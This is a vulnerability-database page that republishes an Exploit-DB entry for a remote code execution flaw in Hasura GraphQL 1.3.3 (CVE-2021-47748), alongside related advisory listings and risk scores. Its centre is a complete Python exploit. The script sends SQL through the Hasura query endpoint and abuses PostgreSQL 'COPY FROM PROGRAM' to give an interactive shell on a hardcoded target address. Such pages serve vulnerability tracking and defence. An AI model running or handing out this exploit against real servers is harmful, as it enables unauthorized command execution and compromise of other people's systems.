Lucene search
+L

Hasura GraphQL 1.3.3 - Remote Code Execution (RCE)

🗓️ 26 Apr 2021 00:00:00Reported by Dolev FarhiType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 755 Views

Hasura GraphQL 1.3.3 Remote Code Execution vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2021-47748
21 Jan 202617:27
–attackerkb
cnnvd
CNNVD
Hasura GraphQL Engine: Operating System Command Injection Vulnerability
21 Jan 202600:00
–cnnvd
cve
CVE
CVE-2021-47748
21 Jan 202617:27
–cve
cvelist
Cvelist
CVE-2021-47748 Hasura GraphQL 1.3.3 - Remote Code Execution
21 Jan 202617:27
–cvelist
euvd
EUVD
EUVD-2026-3661
21 Jan 202617:27
–euvd
nvd
NVD
CVE-2021-47748
21 Jan 202618:16
–nvd
osv_cve
osv_cve
CVE-2021-47748
21 Jan 202618:16
–osv_cve
ptsecurity
Positive Technologies
PT-2026-3794
21 Jan 202600:00
–ptsecurity
rapid7
Rapid7 Vulnerability Database (full)
CVE-2021-47748: Improper Neutralization of Special Elements used in an OS Command
21 Jan 202600:00
–rapid7
vulncheck_kev
VulnCheck KEV
VulnCheck KEV: CVE-2021-47748
18 Nov 202600:00
–vulncheck_kev
Rows per page
# Exploit Title: Hasura GraphQL 1.3.3 - Remote Code Execution
# Software: Hasura GraphQL
# Software Link: https://github.com/hasura/graphql-engine
# Version: 1.3.3
# Exploit Author: Dolev Farhi
# Date: 4/23/2021
# Tested on: Ubuntu

import requests
import sys

HASURA_SCHEME = 'http'
HASURA_HOST = '192.34.57.144'
HASURA_PORT = 80

print('Start typing shell commands...')

while True:
  cmd = input('cmd $> ')
  data =  { "type":"bulk",
            "args":[
              {
                "type":"run_sql",
                "args":{
                  "sql":"SET LOCAL statement_timeout = 10000;","cascade":False,"read_only":False}
              },
              {
                "type":"run_sql",
                "args":{
                  "sql":"DROP TABLE IF EXISTS cmd_exec;\nCREATE TABLE cmd_exec(cmd_output text);\nCOPY cmd_exec FROM PROGRAM '" + cmd + "';\nSELECT * FROM cmd_exec;","cascade":False,"read_only":False}
              }
            ]
           }
  endpoint = '{}://{}:{}/v1/query'.format(HASURA_SCHEME, HASURA_HOST, HASURA_PORT)
  r = requests.post(endpoint, json=data)
  if r.ok:
    try:
      for i in r.json()[1]['result']:
        print(''.join(i))
    except:
      print(r.json())

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Nov 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 49.3
CVSS 3.19.8
EPSS0.03038
SSVC
755